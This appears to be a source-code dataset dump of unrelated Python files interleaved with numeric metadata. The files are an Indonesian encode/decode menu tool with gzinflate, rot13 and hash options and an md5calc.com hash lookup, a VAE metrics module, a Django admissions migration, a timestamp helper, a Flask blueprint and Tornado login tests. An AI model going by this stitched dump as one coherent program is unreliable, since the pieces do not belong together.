tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e8() tp = 'gzinflater' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e8() def e9(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e9() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e9() tp = 'gzinflatex' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e9() tp = 'gzinflatesx' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e9() def e10(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e10() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e10() tp = 'gzinflatew' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e10() tp = 'gzinflatew' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e10() def e11(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e11() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e11() tp = 'str' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e11() tp = 'str' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e11() def e12(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e12() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e12() tp = 'url' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e12() tp = 'url' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e12() def e13(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e13() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e13() tp = 'hexencode' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e13() tp = 'hexencode' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e13() def e14(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e14() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e14() tp = 'md5' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e14() tp = 'md5' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e14() def e15(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e15() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e15() tp = 'sha1' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e15() tp = 'sha1' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e15() def e16(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e16() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e16() tp = 'str_rot13' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e16() tp = 'str_rot13' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e16() def e17(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e17() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e17() tp = 'strlen' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e17() tp = 'strlen' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e17() def e18(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e18() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e18() tp = 'xxx' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e18() tp = 'xxx' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e18() def e19(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e19() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e19() tp = 'bbb' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e19() tp = 'bbb' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e19() def e20(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e20() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e20() tp = 'aaa' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e20() tp = 'aaa' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e20() def e21(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e21() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e21() tp = 'www' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e21() tp = 'www' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e21() def e22(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e22() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e22() tp = 'sss' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e22() tp = 'sss' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e22() def e23(): print '' print tip pil = raw_input('\x1b[1;32m[\x1b[1;33m?\x1b[1;32m] \x1b[1;37mPilih: ') if pil == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e23() elif pil == '1': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e23() tp = 'eee' tipe = 'ENCODE' enc(hash, tp, tipe) elif pil == '2': hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) e23() tp = 'eee' tipe = 'DECODE' dec(hash, tp, tipe) else: print '%s[%s!%s] %sPilihan anda salah' % (G1, R1, G1, W0) e23() def auto(): print hash = raw_input('\x1b[1;32m[\x1b[1;33m#\x1b[1;32m] \x1b[1;37mMasukkan kode mu: ') if hash == '': print '%s[%s!%s] %sJangan kosong' % (G1, R1, G1, W0) time.sleep(0.8) auto() a = requests.get('https://md5calc.com/hash/md2/' + hash) b = bs(a.content, 'html.parser') c = b.find_all('td', style='white-space:normal;word-break:break-all;')[1] d = b.find_all('td', style='white-space:normal;word-break:break-all;')[2] e = b.find_all('td', style='white-space:normal;word-break:break-all;')[3] f = b.find_all('td', style='white-space:normal;word-break:break-all;')[4] g = b.find_all('td', style='white-space:normal;word-break:break-all;')[5] h = b.find_all('td', style='white-space:normal;word-break:break-all;')[6] i = b.find_all('td', style='white-space:normal;word-break:break-all;')[7] j = b.find_all('td', style='white-space:normal;word-break:break-all;')[8] k = b.find_all('td', style='white-space:normal;word-break:break-all;')[9] l = b.find_all('td', style='white-space:normal;word-break:break-all;')[10] m = b.find_all('td', style='white-space:normal;word-break:break-all;')[11] n = b.find_all('td', style='white-space:normal;word-break:break-all;')[12] o = b.find_all('td', style='white-space:normal;word-break:break-all;')[13] p = b.find_all('td', style='white-space:normal;word-break:break-all;')[14] print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult MD2 : ', c.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult MD4 : ', d.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult MD5 : ', e.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA1 : ', f.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA224 : ', g.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA256 : ', h.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA384 : ', i.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA512/224 : ', j.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA512/256 : ', k.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA512 : ', l.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA3-224 : ', m.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA3-256 : ', n.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA3-384 : ', o.text.replace(' ', '').replace('\n', '') print '\x1b[1;32m[\x1b[1;33m>\x1b[1;32m] \x1b[1;37mResult SHA3-512 : ', p.text.replace(' ', '').replace('\n', '') print raw_input('\n\x1b[32m [ \x1b[31menter to back menu \x1b[32m] ') main() if __name__ == '__main__': pilih()

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1,793

0.509517

6,238

40,087

3.254889

0.07823

0.071119

0.061712

0.087667

0.815898

0.807181

0.796838

0.792996

0.789746

0.786101

0

0.165444

0.268865

40,087

1,034

1,794

38.768859

0.527312

0.001597

0

0.816284

0

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0.434433

0.21924

0

null

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null

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0

1

0

1

0

null

0

1

0

9

3ab1a1c6d2d60406f2d2569bc7ede2a678b0ab91

332

py

Python

vaetc/evaluation/metrics/do2020/__init__.py

ganmodokix/vaetc

866b79677b4f06603203376d967989dedadbffae

[ "MIT" ]

null

vaetc/evaluation/metrics/do2020/__init__.py

ganmodokix/vaetc

866b79677b4f06603203376d967989dedadbffae

[ "MIT" ]

null

vaetc/evaluation/metrics/do2020/__init__.py

ganmodokix/vaetc

866b79677b4f06603203376d967989dedadbffae

[ "MIT" ]

null

from .entropy import entropy_binary from .entropy import entropy_joint_binary from .entropy import entropy_conditioned from .entropy import entropy_histogram from .entropy import entropy_quantization from .entropy import entropy_sampling from .mutual import misjed, windin, rmig_jemmig, informativeness, mig_sup, modularity, dcimig

41.5

93

0.858434

43

332

6.418605

0.44186

0.23913

0.369565

0.521739

0.217391

0

0.10241

332

8

93

41.5

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true

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1

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1

0

null

0

1

0

1

0

1

0

7

c91a69441feba83d5cf26ff452210244a16b0642

7,553

py

Python

campaigns/migrations/0001_initial.py

Springsteen/tues_admission

3a532d34bd9a93ac5dcc450d7ddc81f7fb4b6fb7

[ "Apache-2.0" ]

null

campaigns/migrations/0001_initial.py

Springsteen/tues_admission

3a532d34bd9a93ac5dcc450d7ddc81f7fb4b6fb7

[ "Apache-2.0" ]

null

campaigns/migrations/0001_initial.py

Springsteen/tues_admission

3a532d34bd9a93ac5dcc450d7ddc81f7fb4b6fb7

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- from south.utils import datetime_utils as datetime from south.db import db from south.v2 import SchemaMigration from django.db import models class Migration(SchemaMigration): def forwards(self, orm): # Adding model 'Campaign' db.create_table(u'campaigns_campaign', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('title', self.gf('django.db.models.fields.CharField')(default='', max_length=40)), ('description', self.gf('django.db.models.fields.TextField')(default='', max_length=500)), ('is_completed', self.gf('django.db.models.fields.BooleanField')(default=False)), )) db.send_create_signal(u'campaigns', ['Campaign']) # Adding model 'Hall' db.create_table(u'campaigns_hall', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('campaign', self.gf('django.db.models.fields.related.ForeignKey')(default=1, to=orm['campaigns.Campaign'])), ('name', self.gf('django.db.models.fields.CharField')(default='', max_length=10)), ('capacity', self.gf('django.db.models.fields.IntegerField')(default=0)), )) db.send_create_signal(u'campaigns', ['Hall']) # Adding model 'Student' db.create_table(u'campaigns_student', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('campaign', self.gf('django.db.models.fields.related.ForeignKey')(default=1, to=orm['campaigns.Campaign'])), ('hall', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['campaigns.Hall'], null=True, blank=True)), ('egn', self.gf('django.db.models.fields.CharField')(default='', max_length=10)), ('entry_number', self.gf('django.db.models.fields.IntegerField')(default=0)), ('first_name', self.gf('django.db.models.fields.CharField')(default='', max_length=30)), ('second_name', self.gf('django.db.models.fields.CharField')(default='', max_length=30)), ('third_name', self.gf('django.db.models.fields.CharField')(default='', max_length=30)), ('address', self.gf('django.db.models.fields.CharField')(default='', max_length=100, null=True, blank=True)), ('parent_name', self.gf('django.db.models.fields.CharField')(default='', max_length=100, null=True, blank=True)), ('parent_number', self.gf('django.db.models.fields.CharField')(default='', max_length=30, null=True, blank=True)), ('previous_school', self.gf('django.db.models.fields.CharField')(default='', max_length=100, null=True, blank=True)), ('bel_school', self.gf('django.db.models.fields.FloatField')(default=0, null=True, blank=True)), ('physics_school', self.gf('django.db.models.fields.FloatField')(default=0, null=True, blank=True)), ('bel_exam', self.gf('django.db.models.fields.FloatField')(default=0, null=True, blank=True)), ('maths_exam', self.gf('django.db.models.fields.FloatField')(default=0, null=True, blank=True)), ('maths_tues_exam', self.gf('django.db.models.fields.FloatField')(default=0, null=True, blank=True)), ('first_choice', self.gf('django.db.models.fields.CharField')(default='', max_length=2, null=True, blank=True)), ('second_choice', self.gf('django.db.models.fields.CharField')(default='', max_length=2, null=True, blank=True)), ('grades_evaluated', self.gf('django.db.models.fields.FloatField')(default=0, null=True, blank=True)), )) db.send_create_signal(u'campaigns', ['Student']) def backwards(self, orm): # Deleting model 'Campaign' db.delete_table(u'campaigns_campaign') # Deleting model 'Hall' db.delete_table(u'campaigns_hall') # Deleting model 'Student' db.delete_table(u'campaigns_student') models = { u'campaigns.campaign': { 'Meta': {'object_name': 'Campaign'}, 'description': ('django.db.models.fields.TextField', [], {'default': "''", 'max_length': '500'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_completed': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'title': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '40'}) }, u'campaigns.hall': { 'Meta': {'object_name': 'Hall'}, 'campaign': ('django.db.models.fields.related.ForeignKey', [], {'default': '1', 'to': u"orm['campaigns.Campaign']"}), 'capacity': ('django.db.models.fields.IntegerField', [], {'default': '0'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '10'}) }, u'campaigns.student': { 'Meta': {'object_name': 'Student'}, 'address': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'bel_exam': ('django.db.models.fields.FloatField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'bel_school': ('django.db.models.fields.FloatField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'campaign': ('django.db.models.fields.related.ForeignKey', [], {'default': '1', 'to': u"orm['campaigns.Campaign']"}), 'egn': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '10'}), 'entry_number': ('django.db.models.fields.IntegerField', [], {'default': '0'}), 'first_choice': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '2', 'null': 'True', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '30'}), 'grades_evaluated': ('django.db.models.fields.FloatField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'hall': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['campaigns.Hall']", 'null': 'True', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'maths_exam': ('django.db.models.fields.FloatField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'maths_tues_exam': ('django.db.models.fields.FloatField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'parent_name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'parent_number': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '30', 'null': 'True', 'blank': 'True'}), 'physics_school': ('django.db.models.fields.FloatField', [], {'default': '0', 'null': 'True', 'blank': 'True'}), 'previous_school': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '100', 'null': 'True', 'blank': 'True'}), 'second_choice': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '2', 'null': 'True', 'blank': 'True'}), 'second_name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '30'}), 'third_name': ('django.db.models.fields.CharField', [], {'default': "''", 'max_length': '30'}) } } complete_apps = ['campaigns']

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0.021316

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0.103448

0

null

0

1

0

null

0

7

c98332d2984028c82fe9788a5914d8bb422e394b

532

py

Python

Utils.py

leader1313/Visualization_regression_models

7bcb57cc931da3379b213b27259886d83912d15e

[ "MIT" ]

null

Utils.py

leader1313/Visualization_regression_models

7bcb57cc931da3379b213b27259886d83912d15e

[ "MIT" ]

null

Utils.py

leader1313/Visualization_regression_models

7bcb57cc931da3379b213b27259886d83912d15e

[ "MIT" ]

null

from datetime import datetime, timezone, timedelta class ID_generator(): def __init__(self): self.now = datetime.now(timezone(timedelta(hours=9))) def time_stamp(self): now = datetime.now(timezone(timedelta(hours=9))) return now.strftime('%H%M%S') def date_stamp(self): now = datetime.now(timezone(timedelta(hours=9))) return now.strftime('%Y%m%d') def now_stamp(self): now = datetime.now(timezone(timedelta(hours=9))) return now.strftime('%Y%m%d%H%M%S')

28

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0.639098

74

532

4.486486

0.324324

0.256024

0.180723

0.216867

0.710843

0.587349

0

0.009501

0.208647

532

18

62

29.555556

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0

0.045113

0

1

0.307692

false

0

0.076923

0

0.692308

0

null

1

0

1

0

null

0

1

0

7

a30d700e69367ba47176d4a18cce85d1421eb6ea

155

py

Python

app/blueprints/www_main/__init__.py

lvyao1985/wx-project

fb98b3fb9b9ed3277ed20435664b696275625b60

[ "MIT" ]

null

app/blueprints/www_main/__init__.py

lvyao1985/wx-project

fb98b3fb9b9ed3277ed20435664b696275625b60

[ "MIT" ]

null

app/blueprints/www_main/__init__.py

lvyao1985/wx-project

fb98b3fb9b9ed3277ed20435664b696275625b60

[ "MIT" ]

null

# -*- coding: utf-8 -*- from flask import Blueprint bp_www_main = Blueprint('bp_www_main', __name__, static_folder='static') from . import extensions

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a31b05013e49438bb9aeaeeb65db9eb60e090ff3

6,730

py

Python

tests/test_web.py

blueshed/liteblue

9c2fd09cc1449631c86cf6cdda745f884dc90dbd

[ "MIT" ]

null

tests/test_web.py

blueshed/liteblue

9c2fd09cc1449631c86cf6cdda745f884dc90dbd

[ "MIT" ]

null

tests/test_web.py

blueshed/liteblue

9c2fd09cc1449631c86cf6cdda745f884dc90dbd

[ "MIT" ]

null

""" test the web server """ import urllib.parse from tornado.httpclient import HTTPClientError from sqlalchemy.sql import insert from liteblue.connection import ConnectionMgr from liteblue.user import user async def test_login(http_server_client): resp = await http_server_client.fetch("/login") assert resp.code == 200 try: resp = await http_server_client.fetch("/", follow_redirects=False) assert resp.code == 302 except HTTPClientError as ex: assert ex.code == 302 async def test_register_fail(http_server_client): body = urllib.parse.urlencode( {"email": "boo@hoo.com", "password": "1234", "submit": "register"} ) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } response = await http_server_client.fetch( "/login", headers=headers, method="POST", body=body, follow_redirects=False, ) assert "Password must be five or more characters" in response.body.decode("utf-8") async def test_register(http_server_client): body = urllib.parse.urlencode( {"email": "boo@hoo.com", "password": "12345", "submit": "register"} ) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } try: await http_server_client.fetch( "/login", headers=headers, method="POST", body=body, follow_redirects=False, ) except HTTPClientError as ex: print(ex.response.headers) cookie = ex.response.headers["Set-Cookie"] assert ex.code == 302 resp = await http_server_client.fetch("/", headers={"Cookie": cookie}) assert resp.code == 200 async def test_pre_register(http_server_client, default_db): """ test the user pre registered no password """ with ConnectionMgr.session(default_db) as session: session.execute(insert(user, {"email": "boop@test.com"})) session.commit() body = urllib.parse.urlencode( {"email": "boop@test.com", "password": "12345", "submit": "register"} ) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } try: await http_server_client.fetch( "/login", headers=headers, method="POST", body=body, follow_redirects=False, ) except HTTPClientError as ex: print(ex.response.headers) cookie = ex.response.headers["Set-Cookie"] assert ex.code == 302 resp = await http_server_client.fetch("/", headers={"Cookie": cookie}) assert resp.code == 200 async def test_register_already_fail(http_server_client): body = urllib.parse.urlencode( {"email": "boo@hoo.com", "password": "12345", "submit": "register"} ) headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } response = await http_server_client.fetch( "/login", headers=headers, method="POST", body=body, follow_redirects=False, ) assert "Already registered" in response.body.decode("utf-8") async def test_login_fail_no_email(http_server_client): body = {"password": "12345", "submit": "login"} headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } response = await http_server_client.fetch( "/login", headers=headers, method="POST", body=urllib.parse.urlencode(body), follow_redirects=False, ) assert "email or password is None" in response.body.decode("utf-8") async def test_login_fail_no_password(http_server_client): body = {"email": "boo@hoo.com", "submit": "login"} headers = { "Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain", } response = await http_server_client.fetch( "/login", headers=headers, method="POST", body=urllib.parse.urlencode(body), 